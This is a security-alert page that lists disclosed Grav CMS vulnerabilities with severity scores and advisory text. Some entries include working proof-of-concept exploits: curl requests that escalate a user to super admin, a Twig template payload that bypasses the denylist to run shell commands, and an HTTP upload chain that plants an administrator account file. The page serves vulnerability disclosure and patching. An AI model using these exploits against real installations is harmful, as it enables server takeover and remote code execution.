Because there is no secondary check to verify if the user attempting to modify the access field is already an administrator, any low-privileged user can overwrite their own access object with a malicious payload granting themselves super: true.

PoC

1. Prerequisites: You need a low-privileged user account (eg. user1) that possesses the basic api.access permission.

2. Obtain JWT: Authenticate to the API to obtain your accesstoken:

bash curl -X POST http://<target>/api/v1/auth/token \ -H "Content-Type: application/json" \ -d '{"username":"user1","password":"yourpassword"}'

3. Exploit: Send a PATCH request to the user update endpoint.

bash curl -X PATCH http://<target>/api/v1/users/user1 \ -H "X-API-Token: <youraccesstoken>" \ -H "Content-Type: application/json" \ -d "{\"access\":{\"admin\":{\"login\":true,\"super\":true},\"api\":{\"access\":true,\"super\":true},\"site\":{\"login\":true}}}"

4. Verification: Log in to the Grav Admin panel using the user credentials. You will now have full Super Administrator privileges.

Impact

This is a vertical Privilege Escalation vulnerability. Any user with baseline API access can elevate themselves to Super Admin. Once Super Admin privileges are obtained, the attacker takes complete control over the CMS. They can modify content, alter configurations, upload malicious plugins, or edit Twig templates outside of the sandbox to achieve RCE on the server.

1 / 2
Source: GitHub
First published (updated )
Severity
8.8
Path Traversal
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

grav is vulnerable to Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

First published (updated )
Severity
8.8
CSRF
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

The Scheduler in Grav CMS through 1.7.0-rc.17 allows an attacker to execute a system command by tricking an admin into visiting a malicious website (CSRF).

First published (updated )
Severity
8.8
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Summary The fix for SSTI using |map, |filter and |reduce twigs implemented in the commit 71bbed1 introduces bypass of the denylist due to incorrect return value from isDangerousFunction(), which allows to execute the payload prepending double backslash (\\)

Details The isDangerousFunction() check in version 1.7.42 and onwards retuns false value instead of true when the \ symbol is found in the $name.

php ... if (strpos($name, "\\") !== false) { return false; }

if (inarray($name, $commandExecutionFunctions)) { return true; } ... Based on the code where the function is used, it is expected that any dangerous condition would return true php / @param Environment $env @param array $array @param callable|string $arrow @return array|CallbackFilterIterator @throws RuntimeError / function mapFunc(Environment $env, $array, $arrow) { if (!$arrow instanceof \Closure && !isstring($arrow) || Utils::isDangerousFunction($arrow)) { throw new RuntimeError('Twig |map("' . $arrow . '") is not allowed.'); } when |map('\system') is used in the malicious payload, the single backslash is dropped prior to reaching strpos($name, '\\') check, thus $name variable already has no backslash, and the command is blacklisted because it reaches the if (inarray($name, $commandExecutionFunctions)) { validation step.

However if |map('\\system') is used (i.e. double backslash), then the strpos($name, "\\") !== false takes effect, and isDangerousFunction() returns false , in which case the RuntimeError is not generated, and blacklist is bypassed leading to code execution.

Exploit Conditions This vulnerability can be exploited if the attacker has access to:

1. an Administrator account, or 2. a non-administrator, user account that has Admin panel access and Create/Update page permissions

Steps to reproduce

1. Log in to Grav Admin using an administrator account. 2. Navigate to Accounts > Add, and ensure that the following permissions are assigned when creating a new low-privileged user: - Login to Admin - Allowed - Page Update - Allowed 3. Log out of Grav Admin 4. Login using the account created in step 2. 5. Choose Pages -> Home 6. Click the Advanced tab and select the checkbox beside Twig to ensure that Twig processing is enabled for the modified webpage. 7. Under the Content tab, insert the following payload within the editor: {{ ['id'] | map('\\system') | join() }} 8. Click the Preview button. Observe that the output of the id shell command is returned in the preview.

Mitigation

diff diff --git a/system/src/Grav/Common/Utils.php b/system/src/Grav/Common/Utils.php index 2f121bbe3..7b267cd0f 100644 --- a/system/src/Grav/Common/Utils.php +++ b/system/src/Grav/Common/Utils.php @@ -2069,7 +2069,7 @@ abstract class Utils } if (strpos($name, "\\") !== false) { - return false; + return true; } if (inarray($name, $commandExecutionFunctions)) {

1 / 2
First published (updated )
Severity
8.8
Code Injection, Input Validation
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Grav is a flat-file content management system. Prior to version 1.7.42, the patch for CVE-2022-2073, a server-side template injection vulnerability in Grav leveraging the default filter() function, did not block other built-in functions exposed by Twig's Core Extension that could be used to invoke arbitrary unsafe functions, thereby allowing for remote code execution. A patch in version 1.74.2 overrides the built-in Twig map() and reduce() filter functions in system/src/Grav/Common/Twig/Extension/GravExtension.php to validate the argument passed to the filter in $arrow.

1 / 2
Source: MITRE
First published (updated )
Severity
8.8
Code Injection
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Grav is a file-based Web platform. Prior to version 1.7.42, the denylist introduced in commit 9d6a2d to prevent dangerous functions from being executed via injection of malicious templates was insufficient and could be easily subverted in multiple ways -- (1) using unsafe functions that are not banned, (2) using capitalised callable names, and (3) using fully-qualified names for referencing callables. Consequently, a low privileged attacker with login access to Grav Admin panel and page creation/update permissions is able to inject malicious templates to obtain remote code execution. A patch in version 1.7.42 improves the denylist.

1 / 2
First published (updated )
Severity
8.8
Code Injection
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Grav is a file-based Web platform. Prior to version 1.7.42, there is a logic flaw in the GravExtension.filterFilter() function whereby validation against a denylist of unsafe functions is only performed when the argument passed to filter is a string. However, passing an array as a callable argument allows the validation check to be skipped. Consequently, a low privileged attacker with login access to Grav Admin panel and page creation/update permissions is able to inject malicious templates to obtain remote code execution. The vulnerability can be found in the GravExtension.filterFilter() function declared in /system/src/Grav/Common/Twig/Extension/GravExtension.php. Version 1.7.42 contains a patch for this issue. End users should also ensure that twig.undefinedfunctions and twig.undefinedfilters properties in /path/to/webroot/system/config/system.yaml configuration file are set to false to disallow Twig from treating undefined filters/functions as PHP functions and executing them.

1 / 2
First published (updated )
Severity
8.7
Malicious File Upload
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

In Grav 2.0.0-beta.2, a low-privileged authenticated API user with api.media.write can abuse /api/v1/blueprint-upload to write an arbitrary YAML file into user/accounts/, then log in as the newly created account with api.super privileges.

This results in full administrative compromise of the Grav API.

Details

The vulnerability is located in the API plugin's blueprint upload flow:

- user/plugins/api/classes/Api/ApiRouter.php:261 - user/plugins/api/classes/Api/Controllers/BlueprintUploadController.php:32-45 - user/plugins/api/classes/Api/Controllers/BlueprintUploadController.php:102-114 - user/plugins/api/classes/Api/Controllers/BlueprintUploadController.php:271-308 - user/plugins/api/classes/Api/Controllers/BlueprintUploadController.php:407-417 - user/plugins/api/classes/Api/Controllers/AuthController.php:41-55

The issue exists because /api/v1/blueprint-upload accepts caller-controlled destination and scope values and uses them to resolve the final filesystem write target.

When the request uses:

- destination=self@: - scope=users/anything

The server resolves the write target to the shared account directory:

text user/accounts/

The upload handler then writes the supplied file directly into that directory and does not block YAML account files. Because Grav accepts account YAML files and supports a plaintext password: field on first login, an attacker can create a fully functional administrator account with api.super.

The required attacker privilege is low:

yaml access: api: access: true media: write: true

PoC

Step 1: Authenticate as the low-privileged API user

http POST /api/v1/auth/token HTTP/1.1 Host: 127.0.0.1:8123 Content-Type: application/json Connection: close

{"username":"uploader","password":"Upload123A"}

Extract:

text UPLOADERTOKEN = <accesstoken from response>

Attachment:

<img width="1480" height="825" alt="login-uploader" src="https://github.com/user-attachments/assets/5aeda840-4a37-4365-8e46-caec88066541" />

Step 2: Upload a malicious account YAML file

http POST /api/v1/blueprint-upload HTTP/1.1 Host: 127.0.0.1:8123 X-API-Token: <UPLOADERTOKEN> Content-Type: multipart/form-data; boundary=----CodexBoundaryF01 Connection: close

------CodexBoundaryF01 Content-Disposition: form-data; name="destination"

self@: ------CodexBoundaryF01 Content-Disposition: form-data; name="scope"

users/anything ------CodexBoundaryF01 Content-Disposition: form-data; name="file"; filename="pwned.yaml" Content-Type: text/yaml

email: attacker@example.com fullname: attacker title: Site Administrator state: enabled password: Passw0rd!123 access: site: login: true api: super: true ------CodexBoundaryF01--

Expected result:

json { "data": [ { "name": "pwned.yaml", "path": "user/accounts/pwned.yaml" } ] }

Attachment:

<img width="1484" height="797" alt="upload" src="https://github.com/user-attachments/assets/0b24c03f-cac5-4b4d-840c-52ac0840969f" />

Step 3: Log in as the newly created account

http POST /api/v1/auth/token HTTP/1.1 Host: 127.0.0.1:8123 Content-Type: application/json Connection: close

{"username":"pwned","password":"Passw0rd!123"}

Expected result:

json { "data": { "user": { "username": "pwned", "superadmin": true } } }

Attachment:

<img width="1494" height="830" alt="pwned-login" src="https://github.com/user-attachments/assets/7a1ab7fc-d3fb-4077-9b61-09cd947241fe" />

Step 4: Verify privileged API access

http GET /api/v1/system/info HTTP/1.1 Host: 127.0.0.1:8123 X-API-Token: <PWNEDTOKEN> Connection: close

Expected result:

The request succeeds and returns system-level information.

Attachment:

<img width="1480" height="831" alt="system-info" src="https://github.com/user-attachments/assets/31677d61-3dbd-4ea6-9fbe-80799a628cc2" />

Impact

This is an authenticated vertical privilege-escalation vulnerability.

Any API user with basic media upload capability can escalate directly to a full API super administrator by planting a new account YAML file. Once api.super access is obtained, the attacker gains full control over the CMS management API and can:

- modify content - alter configuration - manage users - install or update plugins/themes - access system-level administration features

In a real deployment, this level of control is sufficient for complete CMS compromise and may be chained into server-side code execution depending on enabled plugins, writable template paths, or package-management workflow.

This issue was reproduced locally:

- the upload response returned user/accounts/pwned.yaml - logging in as pwned succeeded - the new account had superadmin = true - privileged endpoints such as /api/v1/system/info were accessible

1 / 2
Source: GitHub
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203